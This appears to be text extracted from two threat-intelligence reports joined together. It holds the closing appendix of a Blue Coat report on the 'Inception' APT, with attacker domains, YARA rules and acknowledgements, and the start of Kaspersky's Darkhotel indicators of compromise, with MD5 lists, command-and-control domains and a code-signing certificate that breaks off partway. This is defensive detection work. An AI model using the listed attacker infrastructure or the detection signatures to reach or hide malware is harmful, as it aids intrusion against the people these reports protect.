91200   58        67648   9      37629       3       30053   1
79711   47        72371   9      49284       3       36962   1
43312   42        96565   9      54512       3       37477   1
75687   37        99094   9      68798       3       37686   1
81544   37        24483   8      79286       3       38686   1
51949   29        46127   8      85076       3       40606   1
23562   28        55223   8      94046       3       42067   1
96780   25        99061   7      11468       2       50935   1
72026   24        20470   6      20460       2       52833   1
78098   23        22798   6      25559       2       55991   1
96878   20        32331   6      41075       2       59635   1
18986   19        40772   6      45834       2       65025   1
21782   19        52741   6      57403       2       65414   1
57673   18        63095   6      65855       2       66185   1
62088   18        70610   6      71103       2       67120   1
37267   16        92826   6      71633       2       74336   1
40019   16        25387   5      75778       2       74800   1
46681   15        69153   5      77776       2       75906   1
47390   15        72564   5      80209       2       89027   1
22775   14        24122   4      91062       2       89675   1
80998   14        47240   4      91212       2       90962   1
98758   14        76002   4      91869       2       91774   1
36942   13        82852   4      13335       1       94776   1
93620   13        83478   4      15318       1       98886   1
97276   13        97561   4      16155       1
58
Attacker-owned domains:
haarmannsi.cz
sanygroup.co.uk
ecolines.es
blackberry-support.herokuapp.com (DynDNS)
59
YARA detection rules:
rule InceptionDLL
{
meta:
author = "Blue Coat Systems, Inc"
info = "Used by unknown APT actors:   Inception"
strings:
$a = "dll.polymorphed.dll"
$b = {83 7d 08 00 0f 84 cf 00 00 00   83   7d   0c   00   0f   84 c5   00
00 00 83 7d 10 00 0f 84 bb 00 00 00   83   7d   14   08   0f   82 b1   00
00 00 c7 45 fc 00 00 00 00 8b 45 10   89   45   dc   68   00   00}
$c = {FF 15 ??
??
??
??
8B 4D 08 8B   11   C7   42   14   00   00 00   00
8B 45 08 8B 08 8B 55 14 89 51 18 8B   45   08   8B   08   8B   55 0C   89
51 1C 8B 45 08 8B 08 8B 55 10 89 51   20   8B   45   08   8B   08}
$d = {68 10 27 00 00 FF 15 ??
??
??
??
83   7D   CC   0A   0F 8D   47
01 00 00 83 7D D0 00 0F 85 3D 01 00   00   6A   20   6A   00   8D 4D   D4
51 E8 ??
??
??
??
83 C4 0C 8B 55 08   89   55   E8   C7   45   D8}
$e = {55 8B EC 8B 45 08 8B 88 AC 23   03   00   51   8B   55   0C 52   8B
45 0C 8B 48 04 FF D1 83 C4 08 8B 55   08   8B   82   14   BB   03 00   50
8B 4D 0C 51 8B 55 0C 8B 42 04}
condition:
any of them
}
rule InceptionRTF {
meta:
author = "Blue Coat Systems, Inc"
info = "Used by unknown APT actors: Inception"
strings:
$a = "}}PT@T"
$b = "XMLVERSION \"3.1.11.5604.5606"
$c = "objclass Word.
Document.12}\\objw9355"
condition:
all of them
}
rule InceptionMips {
meta:
author = "Blue Coat Systems, Inc"
info = "Used by unknown APT actors: Inception"
strings:
$a = "start_sockat" ascii wide
$b = "start_sockss" ascii wide
$c = "13CStatusServer" ascii wide
condition:
all of them
}
60
rule InceptionVBS {
meta:
author = "Blue Coat Systems, Inc"
info = "Used by unknown APT actors: Inception"
strings:
$a = "c = Crypt(c,k)"
$b = "fso.
BuildPath( WshShell.
ExpandEnvironmentStrings(a),
nn)"
condition:
all of them
}
rule InceptionBlackberry {
meta:
author = "Blue Coat Systems, Inc"
info = "Used by unknown APT actors: Inception"
strings:
$a1 = "POSTALCODE:"
$a2 = "SecurityCategory:"
$a3 = "amount of free flash:"
$a4 = "$Ø71|'1'|:"
$b1 = "God_Save_The_Queen"
$b2 = "UrlBlog"
condition:
all of ($a*) or all of ($b*)
}
rule InceptionAndroid {
meta:
author = "Blue Coat Systems, Inc"
info = "Used by unknown APT actors: Inception"
strings:
$a1 = "BLOGS AVAILABLE="
$a2 = "blog-index"
$a3 = "Cant create dex="
condition:
all of them
}
rule InceptionIOS {
meta:
author = "Blue Coat Systems, Inc"
info = "Used by unknown APT actors: Inception"
strings:
$a1 = "Developer/iOS/JohnClerk/"
$b1 = "SkypeUpdate"
$b2 = "/Syscat/"
$b3 = "WhatsAppUpdate"
condition:
$a1 and any of ($b*)
}
61
Acknowledgements
The following entities have helped in big and small ways.
Big thanks to all.
CIRCL.LU
Crowdstrike
F-Secure Corporation
iSight Partners
Kaspersky Labs
Symantec Corporation
We also owe a big debt of gratitude to Ryan W. Smith of Blue Coat who helped
us tremendously with the analysis of the mobile malware.
62
Darkhotel
Indicators
of Compromise
For more information, contact intelreports@kaspersky.com
Version 1.0
November, 2014
Global Research and Analysis Team
2
Contents
Appendix A - related md5s .....................................................................................3
Downloaders, injectors, infostealers ...............................................................3
Appendix B.
Fully Qualified Domain Names, Command and Control ................ 12
Appendix C. Code-signing certificates ................................................................ 17
Appendix D. Malcode Technical Notes ............................................................... 58
Small Downloader .......................................................................................... 58
Technical Details....................................................................................... 58
Information Stealer......................................................................................... 60
Technical Details....................................................................................... 60
Trojan.
Win32.Karba.e..................................................................................... 64
Technical Notes......................................................................................... 64
Selective Infector............................................................................................ 67
Technical Notes......................................................................................... 67
Trojan-Dropper & Injector (infected legitimate files)..................................... 67
Technical Notes......................................................................................... 67
Enhanced Keyloggers and Development...................................................... 68
Technical Notes......................................................................................... 68
Keylogger Code............................................................................................... 68
Appendix E. Parallel and Previous Research...................................................... 73
TLP: Green	                          For any inquiries, please contact intelreports@kaspersky.com
3
Appendix A - related md5s
Downloaders, injectors, infostealers
000c907d39924de62b5891f8d0e03116
00ca5c0558dc9eba1a8a4dd639e74899
0183bac55ebfad2850a360d6cd93d941
0396f7af9842dc5c8c0df1a44c01068c
03a611a8c2f84e26c7b089d3f1640687
03d35ef3fdf353fe4dc65f3d11137172
043d308bfda76e35122567cf933e1b2a
04461ee7c724b6805820df79e343aa49
05059c5a5e388e36eed09a9f8093db92
061e3d50125dc78c86302b7cfa7e4935
06206fe97fed0f338fd02cb39ed63174
08a41624e624d8fb26eeed7a3b1f5009
08b04d6ef94d2764bfafd1457eb0d2a0
08e08522066a8cd7b494ca64de46d4f7
091e4364f50addd6c849f4399a771409
09e7b0ecd5530b8e87190dee0f362e13
0bd1677c0691c8a3c7327bf93b0a9e59
0bfbd26a1a6e3349606d37a8ece04627
0bfc8e7fa0b026a8bf51bbea3d766890
0cbd04c5432b6bfb29921177749f3015
0d75157d3f7fbf13264df3f8a18b3905
0fe3daf9e8b69255e592c8af97d24649
101244381e0590adecf5f2b18d1b6042
11e85a6e127802204561b6996d4224b6
121a9ea93f3ed16a1b191187b16b7592
12b88e36170472413a49ae71b1ac9a33
12df4869b3a885d71c8e871f1a1b0fde
1300244219cb756df01536692edebdbb
131c5f8e98605f9d8074ca02fd1b9c34
131c625a92dc721c5d4dae3fb65591fc
140b27db7d156d6a63281e1f6fc6075d
15097b11e3898cb0be995e44a79431f2
151115ddf1cd4b474a9106cfebcb82e4
16139ce9025274a388a4281fef65049e
16e378d5f0a15fbd521b087c0951a2ab
173abb95e39f03415cd95b76e8a2f58f
TLP: Green	       For any inquiries, please contact intelreports@kaspersky.com
4
1743dafa776677e232d20506858d9a4e
175aa0d1bdebfa60de29b90ab2c62189
178f7fe2d3a2bda46c0e78f679ca5a62
18527b303c0afe91f5ae86d34b52eb29
18527b303c0afe91f5ae86d34b52eb29
1971ee25847d246116835c7157cf7f89
1a2e52e5ac18cfe091bb3ac1cb38f050
1b0c2c6c19404112306a78ecf366f90b
1ec49ae6d535bfb3789d498f4fd0224f
1ee6676e122fcd22e80b6ae0dc40c979
1ef21e634f9779280710e87ff17a83af
1f29ec5ab8a7c2ccda21576f29cbb13b
1fcaa239cf4d627078179f6de299f320
2024679f61cf9ab60342eca58360737f
216088053dac46fcd95938568c469fa6
21792583ab4a7080ceaf2c31731b883e
21ba9d9d914d8140c1e34030e84213f4
236df260f858f9a6ca056bcdec6f754f
25102d64dbc9b6495c5713f3178dd7f1
26b34d3df337407c7618f74e9a82eb9f
26b7b5d019d7500efdb866f1d20d2000
275e0786b6294ffd05f45df435df842c
27db26077f849e26ba89fcafd2f0db92
27f2f32ba938b1747f28ffdd2f56c691
2802c47b48cced7f1f027f3b278d6bb3
28b1569109fcae8cfcdcfbe9c4431b66
2aac9d340620da09d96929ba570978c4
2b443cc331fec486a6ccbcfcd92e76a4
2be3a8dd0059e291022ad32bbce0e5d1
31e0788c9c2e16db1ae1002f0dbc837e
3260c9f881eb815b7ef3f5f295fc5174
326b44e73fccece89326fd865da61f7f
35a15355c96be225507ebed1ec434d57
378177ddc1fd7d213b79c033da26327d
38b919f37501fc3d54f8f1b956448a92
3961CAB50C32E8F32FE45836B9715CE5
3961cab50c32e8f32fe45836b9715ce5
39fc4a3ea44ab9822ed5e77808803727
3f39c6dea5311167cc7ff62befd4ea7e
41b816289a6a639f7f2a72b6c9e6a695
TLP: Green	       For any inquiries, please contact intelreports@kaspersky.com
5
41b816289a6a639f7f2a72b6c9e6a695
428eb3305d4d4c9a8831e1d54160ed65
42a3bb917778454fa96034ad4fb17832
42b9fea2ec56a90cefeecee3c84aade0
436b853cbc87ba3a99131ce2d64a512d
44300d48fccd5aaf27f4c863421c0d47
44e520bec8a3e35f6f6ad52e97911e14
45a4c8c01ec94e1db83b86e05dc9e851
45b94e90cab94d9f873478151a80703d
48888cca68db492c87892524146e8ae3
4d275adbd318f182fa0ec0275cf217b4
4d840625c5ca9a4f1cbd35d4b1ca2452
4f377a8344baa76afe9103ca843e315f
4fc1b3dbf9dc44278f990d57913d96f6
50ac685d25033962e04adc92c8e70785
51c1b9b3df00de5e08c4aa3a2b864a54
51d3e2bd306495de50bfd0f2f4e19ae9
51eaec282b845bc54dbd4fbce5bb09d8
522cd120fa4b1517a60fcf8be3e71ff4
53dc9866fd77fe4933eea3c08666c7bb
55b125da1310d2b37f18ea4e2ae8192b
5607a3ccdaf748fd5cd2d1bec4a771bd
57099403f28d2ce79cba11469c8be971
57dfd2ec5401d9a3d68b4d125e1eb308
5b7b8d3b844b4dbc22875a2a6866a862
5bbdb09ec6ec333a20de74fd430b2bc2
5dee5ad9f12f89fcf9fdcf07ebab3e5e
5f05acd53cfd91fb4dba3660ad1e3add
60af79fb0bd2c9f33375035609c931cb
63409ddbd5316bae8e956595c81121ab
65460ec31dce97c456991ba5215d9c43
686738eb5bb8027c524303751117e8a9
687b8d2112f25e330820143ede7fedce
68ca3d3fc4901d1af8d3adc3170af6ad
697e77c5ef4cf91d5a84b0b3f0617887
6a37ba1bac5fb990fbd1c34effcb0b9d
6bb1a12416c92f5ef12947e2dc5748f9
6ce73a81f0e4a41ffcf669e6ace29db6
6de1b481ae52fbacd7db84789a081b74
6f1a828a2490099a3ce9f873823cce7c
TLP: Green	       For any inquiries, please contact intelreports@kaspersky.com
6
70a0412d19d55bcab72e76c984694215
72869fc63d0ba875dfc539d2bcd48e4d
74d403244db05f7c294ca0777a9f7a9e
76dd289fa3dd8f36972593a006b771cc
77669d11c3248a6553d3c15cd1d8a60e
7bab3a69ab65b90e47d5cc0724531914
7c2eeda3bb66b2c29aa425ba74c780c3
7d304a9cdcda75b1cb9537618f5ed398
804dceb3fa2b9bcf65595109b9465bbc
82ab0b8246c6677f9866b17794b72e2d
864cd4a59215a7db2740dfbe4a648053
86b18e99072ba72d5d36bce9a00fc052
89de19ff50dd58eda2b136b65feb3fb0
8c01d9a2c13ebc8dc32956336a6bc4f5
8f7a7d003cafa56c63e9402f553f9521
90f26c5c4b3c592352fcbddf41dc18aa
910a1f150a5de21f377cf771ed53261f
912a8c7cf1ad78cd4543bfb594c7db58
9a2f2291686080a29f4c68bdc530887f
9bc355cbb5473f4f248f3e2be028ec0b
9c5cd8f4a5988acae6c2e2dce563446a
9ccc7ce97f8ee0cd44d607e688b99eca
9eeae870f22350694eb2e7a4852dbb7d
9f08b8182c987181fe3f3906f7463eac
a44577e8c77ef3c30749fe6ec2bb55a5
a49780f2da2067dd904135fad3af8a90
a71f240abb41eb1e37ff240613d14277
a7b226c220e1282320fca291a5100f93
a8151939085ce837b3a7deec58efa7b4
a9faa01c7cf7150054600fc2ab63e4b6
aaeb3b0651720a3f37a0c2f57c92429c
abdcde9cd1f9135e412f7bb0a9cafbc9
ad0f9ba1a355c5e8048c476736c90217
af26f60a80171c4337117133f1c2ba5f
b07f6065011621c569fc2decd27056df
b1048d7d2464f27a19b2adbf310158b1
b2b29dcb1251c8b1c380f00834297857
b4cbafc20d19b06a4ab670129a3ae5aa
b6428851df75dc91bb46583b97d9a566
b7d1c3a03e92b24e9052e75ea381ea4a
TLP: Green	        For any inquiries, please contact intelreports@kaspersky.com
7
ba87428a298f8acf258b2f4f814bd9b9
be7acfaf90c8fab44393345704dd2b69
bf700fa187cc22d591e1ec4e7442145a
c12fe91f0c39c2460ea304ffc250918d
c322e499729291451437d46c6f05b920
c49e6114fa3de4f823010e852d891896
c4ac4924544877cd100e53f1115c7df9
c5a9ec966196a03e53fd1869764d8507
c6cbb4ea6aabf4a58659cd13fa0b024f
c82ca00476d7e8532d055bf2cc2c9d59
c9f95fc8219750b7c47325a0b84e9373
cdd5afba31e91706412ba58fff2b4d31
cf95ab8c4cc222088de00dbb20374d69
d580cab0c05dd78215fd6252934c240f
d96babbde694df227a9af4b4b61483b3
da608f216594653a1716edd5734cd6e1
da6c390915639c853612cb665ac635f4
da6ed3cc582b4424c96b8ca73aaeb8ad
dd555740dcabb3dab3ea1fc71273e493
e070293d03cd3524e5db9fa4770589a5
e2ed43a6bbb72c927a4e083768e47254
e271ba345eada5f56471c5413acf52f9
e2b5c47156508a31b74a1f48e814fbe7
e579157fb503b5cbd59ce66f5381575c
e5a31be7717c12a3cf9a173428ac7c38
e62af1303ed81f1ae69a1c3b1f215d88
e65fddac2ada261adcdcde87b4dc5540
e9f89d406e32ca88c32ac22852c25841
ec4be1af573e5c55023b35bd02efe394
ed2119548aff161ff97d6837e6a08e84
ed9f539ddabdab8a88491ee38f638b64
ede6a67f7956686f753819c46f496c84
f1368a2e56ae66587847a1655265d3c9
f2231ce84551fbd8a57e75fb07d7f6c0
f47cdf5bfc7227382e18f8361249212b
f5d745e7a575b7aecae302623acd6277
f602fe96deb8615ab8cefbd959e1d438
f7084cf91278eb8176c815ec4e269851
f97ec1cc844914a9aa8dfa00d1ead62e
fe7efa9f0417ba001c058b513518f4cf
TLP: Green	        For any inquiries, please contact intelreports@kaspersky.com
8
a6f55037cb02911c5624e70a67704156
a131d12bc9ab7983b984c81e5e7e108e
0367f890595cf28c6c195dfabae53ba5
adab033d420206fcd2503643d443956e
cbbfa76cd5ed22a8c53f7f7d117923e5
93283599dbf3b2d47872dafae12afb21
d8137ded710d83e2339a97ee78494c34
93283599dbf3b2d47872dafae12afb21
06ac12b8c51aec71cefcf8a507d82ce4
3165b7472a9dd45cde49538561cba59f
043f0dcea6f6fbd1305571e6bf0fa78c
17c99725043fa1573fd650e57c3c75d3
0393036f35a7102a34fadfd77680b292
01cbd90ba5cf7e9595b208e4ca2d2d15
032a7c67332a3abf6da179ed265e6e04
23f7fe611ed2bd814bbdbfae457150b3
Example md5s of files detected with Kaspersky’s Virus.
Win32.Pioneer.dx and
Symantec’s Infostealer.
Nemim!inf:
00d8dd7ec8545134bdc2527b4190078b
01d09407d09355a821ba23ffb58ec40d
033d922f3f56f9ea7c976f31107e366a
043c84cef3e011e3dc731d643a205f4e
058efdf7d94c5da920a3c32cbadac2d0
0b6caacd4081d3b18e847a40c1b6a7f3
0b727001dfc90cc354bd2ccabe3c23a5
0d3e3fd44faa32e0d83b02c8b7cff49c
0d48f948b3c47d0c08e8ee026b8f4670
0fb91846ab9a4e9667c81154829f888b
1d399370e82b314ba20c21ff4ee82205
1f9d915d331f7e363c39108f41145c44
2431db868ebec1b967f5ad38abfd95c4
255f7842c6f07a6a1500a30fb4d27d54
35994a29128c08bed6f5d4aad28f102b
268d17f3763246ac27de7dc8024f23fa
40591b4ba82e0347b33098f6652640d6
4286ee45e9fcc2db3ddfad38426b7f50
4a0fa9be43cc84b5beb0b484227edfcb
4ce790e8438ed3a644984eb24452dd42
4e01e648645d041d52af9dbb09e442ef
TLP: Green	             For any inquiries, please contact intelreports@kaspersky.com
9
4e8ea6bfacf9766f25af12fd63b16ce9
56217179283737f5c46c0a64ebe28a82
5cb91f0c3a1452176007dcc594ec02ce
5f05b4aff89a07dbac9914ae3cf1314f
611c4440aa2587f54702e7e58b7be75f
65f7b330bcc7aeebf8d84afa0b23bf02
67b96c2265e44ccfad708c9387570ab4
69fa0bfd74d0db4ad734b9944ea71ec3
6a79c842a6edca3460b0026cd16c3670
6acd47c45a3e031411af351b3be5f82e
6d3839c312976ba96e89ab6a243aef8f
6f7ec5ff103e4ee038a54816c6b9bc09
720af0fa1f2633b1b73c278a0a016559
729a2f6c7e95075ff36947bc5811a5d3
752c351778a8a18245f132dafdc54599
7a5256dda43cb459e99c0073f1e8f07b
7ad3b74bec51678622e21f57fb82e136
7f608ebfb9b1c81cb07eb8f26fd7647a
83f0f16fb86d6f67ca158d66c195884e
873f26caddfe1e9af18181d8f5f18368
8cdd3b6c577a17b698333337dd1cf3e0
8def236d23dea950d9b1b222cb9a463a
9305008e17b0805118a6a9bb45493441
965e7d4785d23ba6b6608c1245586eba
98b07144f4f5cc95348b39d6bfaeb56a
9978ced410a7dfd3a21ff59cbe1e4303
99a2cca89d044148aa3379cdf2e899fa
9a56bb6c022b3a2ab40d2b308ddf7015
9ba119cf7107d6f4f910447c90c4985d
9c3b06ab28840239cf1d0ecf4a45f6f4
9cdbd5955fc3bf6da5c00e0804b6d6a8
9d248e5cc726f2aa2fa4f06566a2d5b8
9eae89f27c8fbc5896fc7e540e4cfd4a
a07db3237b6bd9789b5f1126ea7b0195
a1467e57ea55030e45325d3987db9fca
a6b0406dff68430aac6a5b738731e7d0
a855b983f1f414461de0e813e2f72b24
ad35db962130becfac1de2f803a119ae
b164febacafd2ab33f203fc5faecd531
b44a988d18264735f39efc2001b29c63
TLP: Green	       For any inquiries, please contact intelreports@kaspersky.com
10
bc6a78142fa68af60e4edc06d28a2f28
c25d146b4cf05f7aaa9aebbe8d1563db
c34eb5aa60373119a03cfd90a5fea121
cdf5267225e6994b4670bf49ba50595a
d46204e579808d520affcc71a7d35cda
d73b08376c7cdf355d31b05a71c8c5ba
d8137ded710d83e2339a97ee78494c34
dd6c020e4a9c112c1776215b763f7525
e4fe6fa6e540cdb77807401aa2121858
e52b7d5391152da89b1db64060ba96ae
efda0c1d8593d3ab3a7c079b71a0f2bc
f7d0d5fc6b01a2e0f3a1c021bab49437
fcd2458376398b0be09eaa34f4f4d091
e8bfb82b0dd5cef46116d61f62c25060
a47f6878da6480089c2ff3bdddbd7104
9f56c7f03370692f1d4761ddb848daf5
3e38b8ccd38682ad4ec1f0fcfc1fb16a
b5ab66687d53914a65447aacc8fb3e88
fda0320d1e28bc022e4d9e9aae544db4
29d76d34d8878f7ac703837ec774f26a
1bfc1b606fc8aa85e1094b01b08eafd6
64c4d56457516a646d10732f24214cf2
3e38b8ccd38682ad4ec1f0fcfc1fb16a
b5ab66687d53914a65447aacc8fb3e88
2600671b87dedbb50ca728285eb141b8
5b7b8d3b844b4dbc22875a2a6866a862
da608f216594653a1716edd5734cd6e1
cd1134ad11d21b4626e28cf5a9eb6f0c
53bc1a9d19aae7f783e019ec7613c366
ebe6b78006ecffe1511f46c86d16f4aa
c2d00fef0659640c1345967d2f554278
fe95141837ae86cb02a1bbf6a070cbb4
a0b0389eb9bbfe1839d3da7a1995da3f
822871578022c1292c9cb051cceedfe2
ca7e5ff32b729d0d61340911a01a479a
35cd5ca2e33400a67345b00ef6db3ff6
TLP: Green	       For any inquiries, please contact intelreports@kaspersky.com
11
a45e0f8a404d846289f3a223253e94a9
8c3fc5e341d7df51ea9b781a55908e82
e8190374c3d962f5c2cbb5e30007216c
9a0963dbee2361fa9cebaa6e0e517774
397e492f1f65ed9a3c3edc9c7a938f01
TLP: Green	        For any inquiries, please contact intelreports@kaspersky.com
12
Appendix B.
Fully Qualified Domain Names,
Command and Control
163pics.net                                autobicycle.20x.cc
163services.com                            autobicycle.freehostking.com
180.235.132.99                             autobicyyyyyy.50gigs.net
203.146.249.178                            autoblank.oni.cc
22283.bodis.com                            autobrown.gofreeserve.com
42world.net                                autocargo.100gbfreehost.com
59.188.31.24                               autocash.000php.com
88dafa.biz                                 autocashhh.hostmefree.org
academyhouse.us                            autocaze.crabdance.com
ackr.myvnc.com                             autocheck.000page.com
acrobatup.com                              autochecker.myftp.biz
adobearm.com                               autocracy.phpnet.us
adobeplugs.net                             autocrat.comuf.com
adoberegister.flashserv.net                autodoor.freebyte.us
adobeupdates.com                           autof888com.20x.cc
albasrostga.com                            autofseven.freei.me
alexa97.com0                               autogeremys.com
alphacranes.com                            autoinsurance.000space.com
alphastros.com                             autojob.whostas.com
amanity50.biz                              autoken.scienceontheweb.net
anti-wars.org                              autolace.twilightparadox.com
applyinfo.org                              automachine.servequake.com
auto2115.icr38.net                         automatic.waldennetworks.com
auto2116.phpnet.us                         automation.000a.biz
auto24col.info                             automation.icr38.net
autobaba.net84.net                         automobile.000a.biz
autoban.phpnet.us                          automobile.200gigs.com
autobicy.yaahosting.info                   automobile.freei.me
TLP: Green	              For any inquiries, please contact intelreports@kaspersky.com
13
automobile.it.cx                        autoupdatefree.zoka.cc
automobile.megabyet.net                 autoupdatefreee.my5gigs.com
automobile.x4host.eu                    autoupdates.5gigs.net
automobiles.strangled.net               autoupdatfreeee.coolwwweb.com
automotive.20x.cc                       autoupgrade.awardspace.biz
autonomy.host22.com                     autovita.xtreemhost.com
autopapa.noads.biz                      autovonmanstein.x10.mx
autopara.oliwy.net                      autoworld.serveblog.net
autoparts.phpnet.us                     autozone.000space.com
autopatch.createandhost.com             begatrendsone.com
autopatch.verwalten.ch                  begatrials.com
autophile.00free.net                    bizannounce.com
autopilot.verwalten.ch                  blonze.createandhost.com
autoplant.byethost11.com                bluecat.biz.nf
autopsy.createandhost.com               bluemagazines.servegame.com
autoreviews.dyndns.info                 bokselpa.dasfree.com
autorico.ignorelist.com                 checkingvirusscan.com
autosadeo.000php.com                    clus89.crabdance.com
autosail.ns01.biz                       codec.servepics.com
autoshop.hostmefree.org                 control.wrizx.net
autostart.waldennetworks.com            cranseme.ignorelist.com
autotest.byethost4.com                  crazymand.twilightparadox.com
autotree.freebyte.us                    crendesting.strangled.net
autoup.eu.pn                            dailybread.waldennetworks.com
autoupdafree.my5gigs.com                dailyissue.net
autoupdate.eg.vg                        dailynews.000page.com
autoupdate.freehostia.com               dailypatch-rnr2008.net
autoupdate.megabyet.net                 dailysummary.net
autoupdate.zoka.cc                      dailyupdate.110mb.com
autoupdatefree.freehostia.com           domainmanagemenet.com
autoupdatefree.verwalten.ch             donatewa.phpnet.us
autoupdatefree.waldennetworks.com       downsw.onlinewebshop.net
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
14
dpc.servegame.com                        humanforum.net
ds505cam.com                             hummfoundation.org
ebizcentres.com                          individuals.sytes.net
elibrarycentre.com                       infonetworks.biz
err.cloins.com                           innewsmessenger.com
eztwt.com                                jackie311.byethost16.com
fame.mooo.com                            jandas.byethost7.com
fashions.0fees.net                       javaupdate.flashserv.net
fenraw.northgeremy.info                  jonejokoss.byethost6.com
fenrix.yaahosting.info                   jonemaccane1.byethost7.com
fenrmi.eu.pn                             jpnspts.biz
foreignaffair.org                        jpqueen.biz
gamepia008.my5gigs.com                   kaoal.chickenkiller.com
genelousmanis.phpnet.us                  laborsforum.org
generalemountina.com                     lakers.jumpingcrab.com
genuinsman.phpnet.us                     limited.000space.com
gigahermes.com                           lookasjames.000space.com
gigamiros.zyns.com                       mansgepitostraig.com
gigathread.itemdb.com                    mechanicalcomfort.net
gigatrend.org                            microalba.serveftp.com
giveaway.6te.net                         microblo5.mooo.com
goathoney.biz                            microbrownys.strangled.net
goizmi.ignorelist.com                    microchiefs.twilightparadox.com
goizmi.phpnet.us                         microchisk.mooo.com
goldblacktree.waldennetworks.com         microchsse.strangled.net
gphpnet.phpnet.us                        microdelta.crabdance.com
greatechangemind.com                     microgenuinsman.servebeer.com
greenlabelstud.000space.com              microjonjokoss.jumpingcrab.com
gurunichi.createandhost.com              microlilics.000space.com
halemdus.000space.com                    microlilics.crabdance.com
heinzmarket.com                          micromacrarusn.com
hotemup.icr38.net                        micromacs.org
TLP: Green	            For any inquiries, please contact intelreports@kaspersky.com
15
micromichi.ezua.com                       pb.qocp.net
micromps1.net                             pb.upinfo.biz
micronames.jumpingcrab.com                photo.eonlineworld.com
micronao.hopto.org                        popin.0fees.net
micronaoko.jumpingcrab.com                private.neao.biz
microos.jumpingcrab.com                   proteingainer.biz
microplants.strangled.net                 rainbowbbs.mywebcommunity.org
microsoft-xpupdate.com                    rayp.biz
microyours.ignorelist.com                 re.policyforums.org
minshatopas12.org                         redblacksleep.createandhost.com
msdn4updates.com                          redlooksman.servehttp.com
mshotfix.com                              reportinshop.com
msupdates.com                             reportinside.net
myhome.serveuser.com                      rootca.000space.com
myphone.freei.me                          sales.eu5.org
nanogalsman.org                           secureonline.net
nanomicsoft.com                           self-makeups.com
nanoocspos.com                            self-makingups.com
nanosleepss.net                           sellingconnection.org
ncnbroadcasting.reportinside.net          sens.humanforum.net
neao.biz                                  shndia.com
neosilba.com                              silverbell.000space.com
new.freecinemaworld.net                   sipapals.servehalflife.com
new.islamicawaken.com                     smartappactiv.com
newsagencypool.com                        smartnewup.crabdance.com
newsdailyinhk.com                         sourcecodecenter.org
newsups.000a.biz                          spotnews.com
nokasblog.agilityhoster.com               st.cloins.com
officerevision.com                        stloelementry.200gigs.com
online.usean.biz                          students.serveblog.net
outlookz.com                              support¬forum.org
pb.enewslive.org                          terryblog.110MB.com
TLP: Green	             For any inquiries, please contact intelreports@kaspersky.com
16
thenewesthta.mypressonline.com          upgrade77.steadywebs.com
thirdbase.bugs3.com                     video.humorme.info
todaynewscentre.net                     voicemailz.net
tradeinf.com                            wein.isgreat.org
unknown12.ignorelist.com                windowservices.net
updaairpush.ignorelist.com              world.issuetoday.net
updaily.biz.nf                          world.uktimesnews.com
updaily.phpnet.us                       wowhome.byethost8.com
updaisin.net16.net                      ww42.200gigs.com
updalsim.freehostee.com                 www.appfreetools.com
updarling.000a.biz                      www.digitalimagestudy.com
updatable.20x.cc                        www.imggoogle.com
updateall.000a.biz                      www.info-cache.net
updatecache.net                         www.mobilitysvc.com
updatefast.000a.biz                     www.neosilba.com
updateiphone.20x.cc                     www.newsupdates.org
updateitunes.waldennetworks.com         www.serveblog.net
updatejava.megabyet.net                 www.singlehost.org
updatepatch.icr38.net                   www.smartnewup.com
updateschedule.verwalten.ch             www.sqlengine.net
updatesw.110mb.com                      www.strangled.net
updatesw.zoka.cc                        www.universalonline.com
updatewell.freebyte.us                  www.win7smartupdate.com
updatewifis.dyndns-wiki.com             yahooservice.biz
updauganda.waldennetworks.com           yellowleos.phpnet.us
updawn4you.net84.net                    ypiz.net
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
17
Appendix C. Code-signing certificates
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 2576597 (0x2750d5)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=MY, O=Digicert Sdn.
Bhd., OU=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Jun 2 03:55:56 2009 GMT
Not After : Jun 2 03:55:56 2011 GMT
Subject: C=MY, O=JARING Communications Sdn.
Bhd.,
OU=JARING, CN=webmail.jaring.my,
L=W.Persekutuan/emailAddress=sysadmin@jaring.my,
ST=Kuala Lumpur
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:a4:81:6d:8d:e4:a6:fa:64:68:c8:41:4b:f3:08:
89:c6:8c:f5:52:c5:64:00:7a:a4:00:29:be:fb:e6:
c8:b7:92:de:52:71:f8:23:27:16:8e:4f:59:c4:c3:
52:2c:b2:7e:72:d9:b1:88:ae:a5:23:01:2d:5b:63:
dd:8d:49:1e:8f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
41:6B:A5:9E:58:E5:29:B7
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier:
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C
5:74:6E:84:77
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: sha1WithRSAEncryption
57:b9:37:76:d1:c4:95:5d:cf:20:51:ea:c5:92:ad:7e:24:a7:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
18
78:d2:92:c1:76:45:c6:0f:6e:84:35:15:aa:82:8b:42:55:1d:
e0:8a:8e:86:13:de:98:02:8e:25:2b:24:a8:8b:84:a2:36:37:
f4:f6:1d:81:1b:96:c7:ee:2d:f9:68:fe:78:98:8b:bb:5a:a0:
bb:40:03:b2:ca:6b:84:12:e8:c4:cd:df:ad:9d:66:c7:75:08:
60:5b:e3:04:de:bf:25:99:fb:d1:5a:12:b1:d9:a8:c3:48:19:
ed:bf:dc:b7:5f:ff:8e:cf:37:2b:24:65:e5:3f:b9:b2:63:cc:
cf:5c
BEGIN CERTIFICATE
MIIC2TCCAkKgAwIBAgIDJ1DVMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z
MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L
MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkwNjAy
MDM1NTU2WhcNMTEwNjAyMDM1NTU2WjCBtjELMAkGA1UEBhMCTVkxJzAlBgNVBAoT
HkpBUklORyBDb21tdW5pY2F0aW9ucyBTZG4uQmhkLjEPMA0GA1UECxMGSkFSSU5H
